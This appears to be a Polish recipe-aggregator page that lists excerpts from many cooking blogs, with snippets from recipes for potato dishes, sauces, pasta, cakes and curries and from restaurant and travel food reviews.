sierotka maRysia w kuchni
Pieczone ziemniaki smakujace jak z ogniska 284

wypróbować. Świetny dodatek do dań z grilla np po upieczeniu w piekarniku położyć jeszcze na grillu i podawać z warzywami. Sprawdzają się jako przekąska na imprezach np z sosem czosnkowym. Ale najlepiej smakują same lub ze śmietaną i sola. Jest to mój smak dzieciństwa... po wykopkach rozpalało się ognisko i piekło w nim ziemniaki. Zjadaliśmy je jeszcze bardzo gorące

sierotka maRysia w kuchni
Smażona pierś kaczki na czosnkowym naleśniku z mąki gryczanej 224

podgrzewamy. Kładziemy na nich jeszcze ciepłe naleśniki (lub podsmażone jeszcze raz) i gorącą kaczkę. Mięso ozdabiamy łyżeczką wytrawnej konfitury, a wokół głównego elementu dania układamy mieszankę sałat polaną ulubionym sosem. Światło dziś nie było dla mnie łaskawe, ale wierzcie mi, na żywo tak wygląd, jak zapach i smak dania są zdecydowanie bardziej okazałe. :) Patelnię do niskotłuszczowego smażenia można nabyć

Kuchenna Kontrrewolucya
Pszenno-żytnie pizzerinki z pieczarkami 186

Przepis na pszenno-żytnie bułeczki na drożdżach z pieczarkami i serem żółtym. Podałam z sosem czosnkowym. Składniki: 300 g mąki pszennej 200 g mąki żytniej 1 i 1/2 szklanki mleka (370 g) 2 łyżki oliwy jajko łyżeczka soli 50 g świeżych drożdży płaska łyżeczka cukru Nadzienie: 450 g pieczarek 2 cebule 200 g sera żółtego jajko 180 ml jogurtu naturalnego

e-PrzepisyKulinarne
Makaron ze szpinakiem po włosku! 218

Obiad po włosku?! Makaron, a raczej powinnam powiedzieć pasta (bo makaron prosto z Włoch), w pysznym sosie na bazie białego wina i ricotty, z świeżym szpinakiem, orzechami laskowymi i parmezanem! Nie pamiętam już kiedy ostatnio jadłam makaron, raczej się go wystrzegam, z wiadomych przyczyn- ma zbyt dużo kalorii, ale od czasu do czasu możemy sobie na niego pozwolić. Jeśli już

SMYKWKUCHNI
Francuska Tortilla a'la Pizza 190

Francuską Tortillę. Po włożeniu do pieca na 2 minuty staje się bardzo chrupiąca. Tortillę tą przetestowałam z dodatkiem koncentratu pomidorowego, tartego sera oraz suszonej bazyli.  Tortilla z dodatkiem sosu czosnkowego nabiera wyrazistości

Gotowanie Patki
Zapiekanka z dyni makaronowej na chlebowym spodzie 181

pomidora, krążki pora (można posypać kukurydzą odłożoną ok 2 łyżki) Na wierzchu ułożyć plasterki mozzarelli i posypać oregano. Zapiekać ok 45 min w temp 180 st. Podać z ostrym sosem pomidorowym

Gotowanie jest łatwe
PLACKI ZIEMNIACZANE Z JARMUŻEM – najlepsze! 222

Placki ziemniaczane to taki przysmak, który najczęściej kojarzy nam się z dzieciństwem. Ja lubię je solo , z gulaszem albo z sosem pieczarkowym. Od znajomych wiem, że jedza je również ze śmietaną albo z cukrem. Ja dziś mam dla Was przepis na przepyszne placki ziemniaczane z sałatka ala pesto z jarmużu. Takie połączenie jest nie tylko bardzo smaczne, ale i zdrowe

Ostra na Słodko
Jak zrobić domowe pyzy – czyli ziemniaki do potęgi trzeciej 380

powinna tylko lekko mrugać, nie może gwałtownie buzować. Gorące pyzy podajemy z dodatkiem cebulki i boczku, przesmażonych na wytopionej ze skwarków słoninie. Lub jako dodatek do gulaszu albo ulubionego sosu. Jemy szybko, żeby nie zdążyły ściemnieć. Z resztą – kto jadłby wolno pyzy podane tak, jak u babci? ;) SKŁADNIKI 1,5 kg ziemniaków TYPU C 1-1,5 szklanki skrobi ziemniaczanej

Karo in the Kitchen
Zupa dyniowa z imbirem i prażonym makaronem ryżowym 219

kokosowego, ono dodaje delikatności i dopieszcza ten dyniowy eliksir. A prażony makaron ryżowy to ciekawy i efektowny dodatek nie tylko do kremowych zup, ale także krewetek, mięs i orientalnych sosów. Składniki: 2 szklanki  puree z dyni 3 cm kawałek imbiru 2 ząbki czosnku 2 szalotki 400 ml mleka kokosowego 1 litr bulionu warzywnego 1 łyżeczka curry w proszku sól

Smakowity Blog Kulinarny
Pod Malwami - sentyment do regionalizmu 170

Solinie... I jest! Restauracja, która bodajże jest czynna tylko do 21:00 - Pod Malwami. No to zamawiamy. Pod Malwami - sentyment do regionalizmu Bliny (tamte były akurat z wieprzowiną w sosie własnym i surówką z czerwonej kapusty) oraz chłodnik litewski. Surówka - wydawałoby się: czego można się spodziewać po czerwonej kapuście? Tak doskonale doprawionej surówki nie jadłem jeszcze - idealny balans między surowym

Right Behind The Kitchen
Grillowane polędwiczki z zielonym sosem i tagliatelle 184

moje polędwiczki nie wygrały... Niemniej jednak przepis został zapisany, a wraz z nim zdjęcie potrawy przed zjedzeniem - jak to mówi moja mama - ze smakiem.  Grillowane polędwiczki z zielonym sosem i tagliatelle Przepis na grillowane polędwiczki krok po kroku opisałem na wspomnianym portalu. Ponadto można tam znaleźć ciekawe przepisy, interesujące artykuły. Nota bene, to właśnie na podstawie tego, co stworzyli

Right Behind The Kitchen
Turcja - nadmorski smak 142

Poniżej fotorelacja z tamtej wyprawy. Turcja - nadmorski smak Cesme - nadmorska Restauracja Capa, a w niej... smażone kalmary taka pusta buła krewetki z pieczarkami w pikantnej oliwie smażona ośmiornica w sosie pomidorowym uff jak gorąco! niespodziewajka czyli okoń morski pieczony w całości pod skorupą z soli morskiej Okoń morski pieczony w całości pod skorupą z soli morskiej - doskonałe w swojej prostocie

Right Behind The Kitchen
Smak wyspy Chios 157

smak doskonale uwydatniał sok ze świeżej cytryny. Danie główne. Oczywiście oprócz wspomnianych flaków w Byzantio można znaleźć wiele innych domowych potraw. Padło na pasticcio - zapiekankę makaronowa z bardzo lekkim sosem pomidorowym i mięsem mielonym pod przykryciem delikantego beszamelu. Potrawa doprawiona w sam raz, w której nie dominował jeden jedyny smak pomidorów. Ponadto danie niezwykle sycące, dające

Right Behind The Kitchen
Eger - miasto winem płynące 211

placek, to gąbką nasiąknięta tłuszczem. Trochę taki misz-masz na pierwszy rzut oka. Ale smak o dziwo niezły - była to polęwdiczka wieprzowa z kiełbasą i białą fasolą w ostrym sosie paprykowym. Brakuje czegoś, co przełamałoby ten monotonny kolor no ale cóż. Prawdziwą furorę zrobiły pierożki z płynnym, białym serem - rewelacja. Ciasto podobne do greckiego filo, aczkolwiek bardziej zwarte (pewnie dlatego

Right Behind The Kitchen
Kurczak z tymiankiem na noodlach w sosie z suszonych pomidorów 174

wynalazek - warto spróbować. Po usmażeniu na złoty kolor odstawiam mięso na chwilę aby odpoczęło. Przecinam na pół pod ukosem. Aromatyczna pierś kurczaka nadziewana tymiankiem doskonale wybija się ponad smak sosu pomidorowego, który nabiera ciekawego charakteru po dodaniu suszonych pomidorów z żurawiną. Proste jak drut

Right Behind The Kitchen
Wegetarianin - jedzenie na każdą kieszeń 190

hitów dostępnych na Narutowicza 13 jest falafel - usmażone kuleczki/kotleciki z przyprawionej ciecierzycy podane w chrupiącej, cieniuteńkiej bułce z surówką (biała kapusta, koperek, kukurydza i chyba por...). Wszystko polane sosem sezamowo-czosnkowym (tahini). Po prostu lekka propozycja wegetariańskiego fast-food'u. Do tego można zamówić sok ze świeżych owoców i posiłek za dychacza gotowy. Atutem tego miejsca jest także

Right Behind The Kitchen
Kraków - Pizza Garden - Brick Oven Pizzeria 159

szczeście w słoiczkach znalazł się ocet balsamiczny i aromatyczna oliwa! Zamawiamy pizzę - parma arugula (szynka parmeńska, rukola, parmezan, domówiłem ekstra suszone pomidory). Warto wspomnieć, że każda pizza bazuje na sosie pomidorowym, serze mozarella i pecorino, oliwie, ziołach i świeżej bazylii. Efekt? Cieniutkie ciasto, wysokiej jakości produkty, które przełożyły się na bardzo ciekawy smak. Kompozycja smaków - rewelacyjna

Right Behind The Kitchen
Miód pitny - dwójniak maliniak 216

usmażeniu jednej strony ryby rozsmarowałbym delikatnie masę po jej powierzchni. Z racji tego, że wyczuwam w tym miodzie akcent wędzonki użyłbym miodu jako dodatkowego składnika do sosu barbecue i ciach do grillowanych potraw jak znalazł. Ale miód nie tylko do kuchni. Podstawowe chyba jednak zastosowanie tego magicznego trunku to... o dziwo picie. Można chlusnąć go solo z kieliszków

Right Behind The Kitchen
Krótka seria - Wrocław - Łubu Dubu 193

Generalnie chodzi o to aby utrzymać w lokalu konwencję PRLu, wpaść na coś do picia (czytaj wódkę, piwo, wino raczej) i zjeść coś (czytaj pasztet z sosem tatarskim, śledzie, białą kiełbasę). Trochę taki fast food zakrapiany procentami. Łubu Dubu we Wrocławiu, w porównaniu do tych powyższych, poszło o krok dalej. Menu w lokalu jest bardziej rozbudowane i jest w czym

Right Behind The Kitchen
Pizza raz jeszcze 182

stale podsypuję blat mąką aby ciasto się nie przyklejało.    Dodatki do takiej pizzy powinny być dość cienko pokrojone, ponieważ pizza będzie maksymlanie 7 minut w piekrniku. Najprostszy sos do pizzy jaki możecie na prędce  zrobić, to wymieszać przecier pomidorowy z kilkoma żykami suszonego oregano, odrobiną soli, cukru i oliwy. A ser? Nie musi być to zawsze żółta

Right Behind The Kitchen
Żołądki drobiowe w cieście z kalarepą i surówką 170

dać dość łatwo zrzucić do gorącego oleju beż użycia dodatkowej łyżki. Usmażone na złoto-brązowy kolor żołądki przekładamy na ręcznik papierowy i po chwili podajemy. Na koniec skrapiamy całość sosem - kilka łyżek oliwy połączonej z odrobiną octu z białego wina i garścią drobno posiekanej natki pietruszki. I mamy - żołądki kurze o jakich nie śnili nawet najstarsi górale. Poczęstujcie kogoś

Right Behind The Kitchen
Kuchnia Improwizowana na X Lubelskim Festiwalu Nauki 190

strukturze bitą śmietanę - z zewnątrz zimna, chrupiąca, w środku w miarę puszysta o pokojowej temperaturze. Ciekawscy świata zobaczyli także jak w prosty sposób zrobić piankę z kawy albo sosu grzybowego. Na koniec wszystkiego Panowie przygotowali poczęstunek w postaci pysznych babeczek na słono, dipów z zakąskami oraz polędwiczki wieprzowe przyrządzane przez 4 godziny w wodzie o temperaturze ok. 60 stopni metodą

Right Behind The Kitchen
Szczypta Hiszpanii - Terremolinos, Ronda, Malaga (Andaluzja) 199

esencja Hiszpanii – doskonałe wino, jedzenie jeszcze lepsze!  Wybraliśmy mix przekąsek tapas – marynowane fileciki śledziowe, smażone rybki, duszone kuleczki wieprzowe, krokiety mięsne, ser smażony, chorizo duszone w warzywnym sosie. Ale chyba najlepsze były zimne przekąski - talerz z ostrą kiełbasą chorizo i półtwarde sery. Dech mi zaparło w piersi gdy kolejna Pani Halina zaczęła kroić plastry szynki z czarnej, iberyjskiej świni

Right Behind The Kitchen
Polędwiczka wieprzowa domową metodą sous-vide na kaszy pęczak z cukinią i burakami 287

chef a tylko próba pokazania, że podstawy metody sous-vide można stopniowo opanowywać w domowych warunkach. Aby danie było kompletne można dodatkowo pokusić się o jakiś magiczny sos : ) Myślę, że sous-vide może być ciekawą zabawą dla osób, które chętnie próbują czegoś nowego w kuchni. Powodzenia

Right Behind The Kitchen
Spinacz Cafe - oryginalnie i kanapkowo 183

rukola w bagietce własnej produkcji. Smaczna, skromna wielkością kanapka, w której rukola zrobiła swoje i ożywiła trochę smak potrawy. Podczas drugiej wizyty w Spinaczu zjadłem Drugiego Głodołamacza (z ostrym sosem z papryczek piri piri ). Błędem było wybranie tej opcji gdyż jak się okazało wielkim fanem ostrych rzeczy nie jestem... Mnie prawie ryjka urwało. No ale jak ktoś preferuje takie przyjemności

Right Behind The Kitchen
Namiastka Wiednia dla smakoszy i kilka praktycznych wskazówek 176

wielu Polaków. Wybrane - genialny klasyk kuchni austriackiej - Tafelspitz - duszona wołowina podana z chrupiącymi placuszkami ziemniaczanymi, szpinakiem i tartą marchewką. Do tego dania podaje się rewelacyjny mus jabłkowo-chrzanowy i sos czosnkowy. Po tym oczywiście tort Sachera i ciastko duńskie - bajecznie dobre desery. Tak naprawdę autentyczny tort Sachera dostaniemy tylko w Hotelu Sacher w Wiedniu, w którym to pilnie strzeżona jest

Right Behind The Kitchen
Placki ziemniaczano-jarmużowe z gulaszem dla leniwych 237

się rozpadać, papryka będzie miękka - doprawiamy solą jeśli trzeba lub papryką ostrą gdy nie czujemy "mocy". Rozdzielając i dusząc paprykę w dwóch etapach uzyskamy z jednej stronę naturalny zagęstnik sosu, a z drugiej ciekawszą konsystencję na podniebieniu. Jeśli gulasz wyszedł Wam zbyt rzadki - możecie go zagęścić. Zamiast typowej zasmażki, proponuję w miseczce połączyć odrobinę mąki kukurydzianej z płynem z garnka

Right Behind The Kitchen
Przyprawa węgierska 181

podałam w przepisie " Skarby jesieni - warzywa " (klik po przepis ). Ususzone warzywa, listek laurowy i przyprawy zmielić (przed zmieleniem odciąć ogonki z chili). Mieszankę przechowywać w szczelnym pojemniku. Zastosowanie Do sosów i gulaszów oraz świeżych sałatek, placka po węgiersku, leczo i wielu innych

Kulinaria - potrawy z różnych stron świata
Kanapki z ricottą, figą, malinami i sosem malinowym 156

cytryny oraz miodem na mus. Ciabatte kroję na pół, smaruję ricottą. Figę kroję w plastry. Na kapce umieszczam owoce: figi, maliny oraz świeże laskowe orzechy. Całość polewam sosem malinowym. Podaję od razu. Smacznego, Klaudia

Mango Papaja
Potrawka z drobiowych serc 213

składniki, dodajemy liść laurowy i ziele angielskie. Dusimy pod przykryciem na małym/średnim ogniu około 40 minut. Po tym czasie zdejmujemy pokrywkę, zwiększamy ogień i gotujemy 15 minut, aż sos zgęstnieje. 3. Danie zdejmujemy z ognia, dodajemy papryczkę chilli i Philadelphię i mieszamy, aż ser całkowicie się rozpuści. Doprawiamy solą i pieprzem. Podajemy z ryżem, pieczywem lub puree ziemniaczanym. Smacznego

My Culinary Art
Omal curry Oscara 209

niespodzianka. A właściwie duża… Spiżarnia przepastna jak ta z Master Chefa! I zadanie, żeby wymyślić coś razem. No i wymyśliliśmy. Wiemy, że dodanie curry do duszonych warzyw w sosie własnym nie czyni z nich jeszcze sztandarowej potrawy Półwyspu Indyjskiego, że rzadko, o ile w ogóle, pojawia się w ich mieszance marchew czy pietruszka, że je się je częściej

GRUBY WAŁEK
RECENZJA PATELNI GRANITOWEJ GŁĘBOKIEJ BALLARINI LUCCA Z DWOMA UCHWYTAMI I KONKURS 164

Potwierdzam :)  Głęboka patelnia linii Lucca stanowi idealne rozwiązanie dla osób, które cenią sobie zarówno nowoczesność, jak i funkcjonalność. Naczynie to świetnie sprawdzi się zarówno jako rondel do duszenia sosów  i potraw, naczynie do przyrządzania włoskiej pasty, jak i tradycyjna patelnia do smażenia kotletów czy ryb.   Nic dodać nic ująć :) No dobrze, ja od dwóch tygodni nie daję

Kuchnia w opałach
sos musztardowy 197

Polecam sos musztardowy

Ugotujmy Coś
Sałatka z tuńczykiem, ryżem i orzechami 188

znakomita pasta na chleb. Wystarczy, że dodamy do niej starty żółty ser i zapieczemy na chlebku... otrzymamy wspaniałą grzankę z ciągnącym serem ;) Składniki: 100g brązowego ryżu puszka tuńczyka w sosie własnym średnia czerwona cebulka 1/2 szklanki

Pyry na Gaz
Tortilla na śniadanie. Czemu nie ? 225

kiełki, dodaj jeśli chcesz szynkę, wszystko zawiń i przetnij na połówkę. Taka tortilla świetnie smakuje na ciepło jednak w pudełko na wynos śmiało można ją zabrać :) Dodatkowo możecie przygotować sos czosnkowy lub tzatzyki wtedy można śmiało podawać jako przystawka na imprezie.   Smacznego

Niezły Młynek
Pulpeciki w sosie koperkowo marchwiowym 284

Śmietanę wymieszać z mąką i powoli do niej wlewać gotujący się wywar - cały czas mieszać. Gdy ładnie się ze sobą połączyą wlać do pulpecików cały czas mieszając. Spróbować smak sosu i ewentualnie doprawić. Po chwili ściągnąć z ognia. Dodać posiekany koperek i wymieszać. Smacznego

W kuchni u Moniki
Naleśniki kokosowe ( coconut crepes ) 361

przy przewracaniu na drugą stronę. Smak jest obłędny - na pewno dla amatorów kokosowych smaków będzie idealne :) Z podanych składników powinno wyjść około 10 naleśników. Można je podawać np. z sosem malinowym, ale ja wolę bez niczego, bo same w sobie są pyyyszne

apetytnapieczenie
Jedzonko do pracy #44 217

zdrowymi posiłkami. Obecnie na topie jest dynia, w związku z czym postanowiłam przygotować z niej sałatkę - jest pyszna! Śniadanie : Sałatka krabowa Lunch : Sałatka z pieczonej dyni z fetą w sosie balsamicznym Przekąska : Banan i oliwki Smacznego

Codzienne Gotowanie
Kartacze Joanny Jakubiuk 260

podczas ziemniaczanych warsztatów kulinarnych  zorganizowanych przez Europlant . Podlaskie kartacze faszerowane dwoma rodzajami mięsa podane z wysmażonym boczkiem. Możecie je przygotować także tylko z wieprzowiny a zamiast boczku podać sos czosnkowy lub tzatziki.  Składniki: 2  kg surowych ziemniaków   1  kg gotowanych  ziemniaków   5 00 g mięsa wieprzowego mielonego   500 g mięsa wołowego mielonego

SzczyptaSmaQ
Surówka z kapusty kiszonej 156

Szybka i pyszna surówka do obiadu. Pasuje do ryb, mięs i sosów. Składniki: 500 g kiszonej kapusty marchew jabłko cebula 3 łyżki oleju lub oliwy łyżeczka soku z cytryny sól, pieprz, cukier Przygotowanie Kapustę płuczemy, odciskamy i kroimy na mniejsze kawałki. Jabłko i marchew, obieramy i ścieramy na tarce. Cebulę kroimy w drobną kostkę. Składniki łączymy ze sobą, dodajemy oliwę

e-PrzepisyKulinarne
Duchy i kości - bezy na Halloween 202

była lekko ciągnąca się w środku - takie właśnie lubię). Przestudzone bezy posypać gorzkim kakao, za pomocą roztopionej czekolady zrobić oczy i usta duszków. Truskawki zmiksować, posłodzić. Bezy podawać z sosem truskawkowym

Ugotować
Warzywne ragoût z kiełbasą 158

Pełne warzyw smaczne i pożywne danie z lekko chrupiącymi warzywami i wyrazistą kiełbasą w niezawodnym sosie pomidorowym. Pyszna i jednocześnie pożywna propozycja na obiad czy kolację. Składniki: 3 kiełbasy (około 200-250g) 3 małe kalarepy Średnia cukinia ½ dużego selera Marchew 2 korzenie pietruszki Duża cebula 2 ząbki czosnku Łyżka masła klarowanego 200g przecieru

Pyry na Gaz
Gulasz z serc indyczych 216

mieszając, aby je lekko zrumienić. Całość podlać rosołem i dusić pod przykryciem do miękkości. Jak serca będą miękkie doprawić solą, pieprzem , płatkami chilli  i majerankiem. Pogotować 2 minuty. Sos zagęścić rozpuszczając 1 łyżkę mąki ziemniaczanej w odrobinie wody. Całość zagotować. Podałam z ziemniakami. gulasz z serc indyczych

O kuchni z uczuciem
PLACUSZKI Z DYNI I CUKINI – dietetyczne – BE FIT! 236

czym śmiało mogą pozwolić sobie na nie osoby będące na diecie. Ja zajadam je solo, ale Ci, którzy na diecie nie są śmiało mogą pozwolić sobie na dodatek ulubionego sosu, np. czosnkowego! Polecam! Koniecznie wypróbujcie! CIEKAWOSTKA! Natka pietruszki odznacza się dużą wartością odżywczą: zawiera bardzo dużo witaminy C i beta-karotenu. Wzmacnia, oczyszcza organizm, poprawia cerę i humor. SKŁADNIKI

Ostra na Słodko
Szybki makaron z jarmużem, cukinią i twarogiem 202

dente z dodatkiem soli, pozostawiając niewielką ilość wody. Na oleju zeszklić czosnek, cebulę i paprykę. Następnie dodać cukinię. Podlać wodą pozostałą z gotowania makaronu. Doprawić. Wlać mleko. Dwie łyżki ,,sosu" wymieszać w kubeczku z mąką ziemniaczaną. Następnie wymieszać z zawartością patelni, zagotować. Dodać makaron, posiekane liście jarmużu i (chwilkę!) podgotować. Na samym końcu wymieszać z jogurtem naturalnymi i twarogiem. Smacznego

Kuchnia Ellie
Pasta z wędzonego tofu 183

tofu  Przepis na 200g pasty na kanapki Potrzebujemy: 180 g wędzonego tofu 1 średniej wielkości cebulę 2 łyżki łagodnej musztardy 1-2 łyżki oliwy (opcjonalnie) sól lub łyżka sosu sojowego - aby stworzyć bardziej słoną pastę (opcjonalnie) pieprz, łyżeczka chilli lub czosnku granulowanego  - aby stworzyć bardziej ostrą pastę Wykonanie: 1. Kroimy lub rwiemy tofu na mniejsze części i wrzucamy

Bananowe Pole
Kura duszona w śmietance 217

mięsie równomiernie rozłożyć krążki cebuli, posypać bułką tartą, dodać liść laurowy, ziele angielskie, ułożyć masło , zalać śmietanką. Oprószyć pieprzem i solą. Dusić na wolnym ogniu do momentu miękkości kury. Sos się zredukuje a mięso delikatnie się 'rozklei'. Podawać z ziemniakami, ryżem bądź pajdą chleba. Zdjęcia potraw są mojego autorstwa. Ich kopiowanie wymaga mojej zgody

kawawszklance
Falafel – kotlety z ciecierzycy 219

chłonęły tłuszczu, wkładamy falafele. Smażymy kotleciki z obu stron po 4-5 minut, do mocnego zrumienienia. Gotowe falafele można zjeść z dodatkiem gęstego kwaśnego jogurtu, z rzadkim humusem , z sosem na bazie jogurtu i pasty sezamowej, z dodatkiem warzyw – pomidor, ogórek, sałata – w chlebku pita.   Soda przyspiesza gotowanie/smażenie roślin strączkowych i – podobnie jak użyte do nich zioła

Karo in the Kitchen
Pieczony łosoś na szpinaku 255

zetrzeć masło na tarce o drobnych oczkach. Na górze poukładać plasterki cytryny. Piec w rozgrzanym piekarniku do 200 stopni C przez ok. 25minut. Od czasu do czasu podlewać łososia sosem, który się wytworzył.  Smacznego

W kuchni u Moniki
Włoskie rurki z sosem i ricottą 146

razu wiedziałam co z nimi zrobię. Danie spontanicznie powstało w drodze do domu. Robi się szybko, smakuje rewelacyjnie i znika szybko, zapraszam serdecznie do wypróbowania. Włoskie rurki z sosem i ricottą. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Makaron na chandrę. Mój comfort food. 193

szafki opakowanie spaghetti. Tak, to właśnie spaghetti jest według mnie najpyszniejszym makaronem. Włosi wierzą, że w zależności od kształtu, makaron ma różny smak i różnie łączy się z sosami. Ja się w pełni z nimi zgadzam, bo spaghetti smakuje mi jak żaden inny makaron. Do spaghetti dodaję moje ulubione składniki, którym przecież mój blog nie bez powodu zawdzięcza swoją nazwę

Chilli Czosnek i Oliwa
Włoska przyprawa do mięs – własnego wyrobu 508

dodatków . Bardzo prosta w wykonaniu , trwała w przechowywaniu i doskonała jeśli chodzi o sporządzanie marynat do mięs lub warzyw . Roztarta z oliwą , tworzy świetne pesto , które w zupełności zastąpi sos na świeżym makaronie . Polecam , naprawdę warto poświęcić odrobinę czasu na własne produkty . Kierując się hasłem wiesz , co jesz Składniki : 4 duże papryki grubościenne – najlepiej dwie czerwone , dwie zielona

Ogrodnik w podróży
Dyniowe curry z kurczaka 235

kurczaka w wydaniu jesiennym, bo z dodatkiem dynii. W ten spsosób przygotowany filet, na orientalną nutę to najbardziej aromatyczna wersja podania kurczaka. Mięciutkie mięso zatopione w pysznym kokosowym sosie posmakuje każdemu. Świetna propozycja na smaczny i szybki obiad. Polecam! Składniki: 2 filety z kurczaka 1 cukinia 1/4 dynii Hokkaido 1 cebula 1 ząbek czosnku mleko kokosowe - puszka

Gotuj zdrowo!Guten Appetit!
Owsianka Mocha (Mokka) 194

gorzkiej czekolady (+/- ok. 20 g) Płatki zalać wrzątkiem, przykryć talerzykiem, kawę zaparzyć. Czekoladę rozpuścić w mleku (np. w kąpieli wodnej, kuchence mikrofalowej).  Napęczniałe płatki owsiane zalać powstałym sosem czekoladowym i kawą. Owsianka Mokka gotowa! Polecam owsiankę odstawić na ok. 10 minut, wtedy płatki bardziej zmiękną, a kawa z czekoladą bardziej zgęstnieją. smacznego

tost z dżemem
Zapiekanka z kurczakiem i dynią 297

Dynia to jest takie warzywo, że można z nią robić masę smacznych potraw. Zrobiłam zapiekankę z puree z dyni, które robiłam niedawno. Wyszła bardzo dobra, polecam

Kuchnia Pokoleń
Mini tortille ze szpinakiem 245

mini tortilli potrzebujemy: 4 tortilla wraps 1 paprykę 2 garści szpinaku baby 8 plastrów sera żółtego 8 plastrów ulubionej wędliny majonez/sos czosnkowy ketchup folię spożywczą Placek smarujemy majonezem lub sosem czosnkowym, w zależności co wolimy. A następnie układamy na nim składniki. Zwiniętą tortille i kroimy na pół i zawijamy końcówkę w folię spożywczą.  Nasze tortille są gotowe

Kolejny blog o gotowaniu
TORT ŚLIWKOWY Z CZEKOLADĄ I ORZECHAMI LASKOWYMI 283

łyżki cukru i przesmaż je przez około 10 minut , mieszając często, aż ładnie się skameralizują i utworzą z soku i cukru gęsty sos. Przełóż je do miski i pozostaw do całkowitego ostudzenia. Żelatynę namocz w wodzie, pozostaw na kilka minut do napęcznienia, po czym podgrzej na małym ogniu

Słodko-Słony Świat Ilony
Der Elefant tak czy nie? 236

best do tego ogromne porcje, tak naprawdę najadłam się przystawką którą był tatar wołowy z marynowanymi kurkami, cebulą i przepiórczym jajem. Daniem głównym były pyzy z mięsem w sosie z boczniaka, a na deser zaserwowali budyń waniliowy z wodą różą - tylko nie myślcie, że nie dałam rady, zjadłam wszystko do samego końca :) Jednak, każde miejsce ma jakiś minus - można płacić

Niezły Młynek
Pączki drożdżowo ziemniaczane [przepis], fotorelacja z warsztatów kulinarnych "Znaj Ziemniaki" 182

wirtuozerka pierogów i dań z pola na stół... i brosaniki, które zostały zjedzone prosto z patelni :)  Babka z brokułami, bardzo ciekawy dodatek do dań mięsnych lub przekąska z sosami. Ziemniaki Faszerowane/Zapiekane/Chrupiące np. z ratatouille, a na deser pączki z ziemniakami

SzczyptaSmaQ
Pulpeciki z kaszy jaglanej 196

połączenie kaszy jaglanej i warzyw, ale... naprawdę warto je przyrządzić. Pulpeciki są pyszne, miękkie i sycące. Poniższe pulpeciki podałam z ziemniakami i mizerią. Bardzo dobrze będą smakować polane, np. sosem pieczarkowym. Przepis na poniższe danie znalazłam na opakowaniu kaszy jaglanej.   Składniki na porcje dla 4 osób: 200 g suchej kaszy jaglanej 1 marchewka 1 pietruszka 2 małe cebule

Ugotować
Penne z dynią i toy choy 215

zetrzeć na tarce o drobnych oczkach. Rozdrobnić natkę pietruszki. Nastawić wodę na makaron. Gdy się zagotuje, osolić i wrzucić makaron. Ugotować go al dente, a w tym czasie przygotować sos. Na patelni rozgrzać 2 łyżki oleju. Cebulę obrać i pokroić w kostkę. Wrzucić na patelnię. Gdy cebula się zeszkli, dodać startą dynię. Gdy dynia zmięknie, dolać gorącą wodę. Na patelnię

Weekendy w domu i ogrodzie
paprykarz z pieczonej makreli 198

pietruszka 100 g koncentratu  pomidorowego 50 g ryżu 4 łyżki oleju 1 łyżka papryki słodkiej 1/2 łyżeczki papryki ostrej sól, pieprz ewentualnie dodatkowo 1 łyżka maggi lub sosu sojowego sposób wykonania Rybę myjemy,  oprószamy pieprzem oraz solą, zawijamy w folię aluminiową i pieczemy przez 30 minut w piekarniku nagrzanym do 200 stopni. Wyjmujemy studzimy i obieramy rybę

Miód i pieprz
Sernik leko cytrusowy z sosem śliwkowym. 192

wyjąc sernik delikatnie wyłożyć na wierzch śmietanę i wstawić do piekarnika na kolejne 10-15 min. Kiedy jest gotowe wyjąc wystudzić i chłodzić min 3 godz w lodówce. Sos śliwkowy: Śliwki wypestkować pokroić i trochę posłodzić. Dodać odrobinę mielonego kardamonu. Jak się chce można dodać trochę wina czerwonego i podgotować całość. Zmiksować blenderem dosmaczyć i gotowe

Malinowe Pocałunki
sos wiengert z syropem klonowym z sałatą 140

Polecam sałatę z trochę inna wersją sosu winegret Produkty

Ugotujmy Coś
,,Różyczki z ciasta francuskiego’’ 451

francuskie kroimy wzdłuż na paski o szerokości około 1 cm. Na pasku układamy półplasterki wędliny, zawijamy i pieczemy 12 minut w 220 stopniach. Upieczone świetnie smakują z ketchupem lub sosem czosnkowym

Podróż w kulinaria
PIERSI KURCZAKA W MLECZKU KOKOSOWYM Z CURRY 243

WG.UZNANIA PONIEWAŻ JEST TROCHĘ OSTRA. DODAJĘ KAWAŁEK STARTEGO KORZENIA ŚWIEŻEGO IMBIRU. WSZYSTKO PODSMAŻAM I WLEWAM PUSZKĘ MLECZKA KOKOSOWEGO. OSOBIŚCIE LUBIĘ DODAĆ DWIE TRZY ŁYŻKI ŚMIETANY 18%. GOTUJĘ CHWILĘ ,ŻEBY SOS ZGĘSTNIAŁ. NASTĘPNIE KRUSZĘ TRÓJKĄCIK SERA PLEŚNIOWEGO TYPU LAZUR,SOLĘ,PIEPRZĘ. DLA KOLORU DODAJĘ ŁYŻKĘ KONCENTRATU POMIDOROWEGO. NAJLEPIEJ SMAKUJE Z RYŻEM ALE MOŻNA PODAWAĆ  RÓWNIEŻ Z PIECZONYMI ZIEMNIACZKAMI. SMACZNEGO

potrawyregionalne
PIECZONE BAKŁAŻANY FASZEROWANE MIĘSEM I CUKINIĄ 182

środek z bakłażana. Gdy wszystko razem się zarumieni  dodaję pokrojone świeże, obrane ze skórki pomidory i przecier pomidorowy . Duszę wszystko około 15 minut,żeby nadmiar sosu odparował. Nadziewam środki bakłażana farszem i posypuję serem mozzarellą. Wstawiam danie w żaroodpornym naczyniu skropionym oliwą do piekarnika,  na około 40 minut w temp.180 stopni. Danie

potrawyregionalne
SAŁATKA BROKUŁOWA Z RYŻEM 457

Można do sałatki dodać jeszcze np.pokrojoną szynkę.   Polecam również sałatkę: SAŁATKĘ BROKUŁOWĄ Z WARZYWAMI JAJKIEM I SOSEM CZOSNKOWYM

potrawyregionalne
PLACEK PO ZBÓJECKU 202

placków tyle przepisów... Może ktoś z was skorzysta z mojego;-) Od czego zacząć? Może od sosu... I tak zależy co kto lubi ,ja wybrałam mięso gulaszowe z indyka.Pokroiłam w kostkę i podsmażyłam.Drobno pokrojoną cebulę również podsmażyłam na patelni.Przełożyłam wszystko do garnka i zalałam wodą.Na małym ogniu mięso się dusiło wraz z listkiem laurowym, zielem angielskim,czosnkiem

potrawyregionalne
PIECZONY UDZIEC Z INDYKA Z MORELAMI 216

koniec piekłam już bez przykrycia i wtedy indyk przybrał piękny brązowy kolor. Pokroiłam w paseczki suszone morele i posypałam nimi mięsko. Można go podać z ryżem lub ziemniakami polewając sosem  który się wypiekł z pieczeni. Polecam i ... Smacznego

potrawyregionalne
KURCZAK W CURRY 359

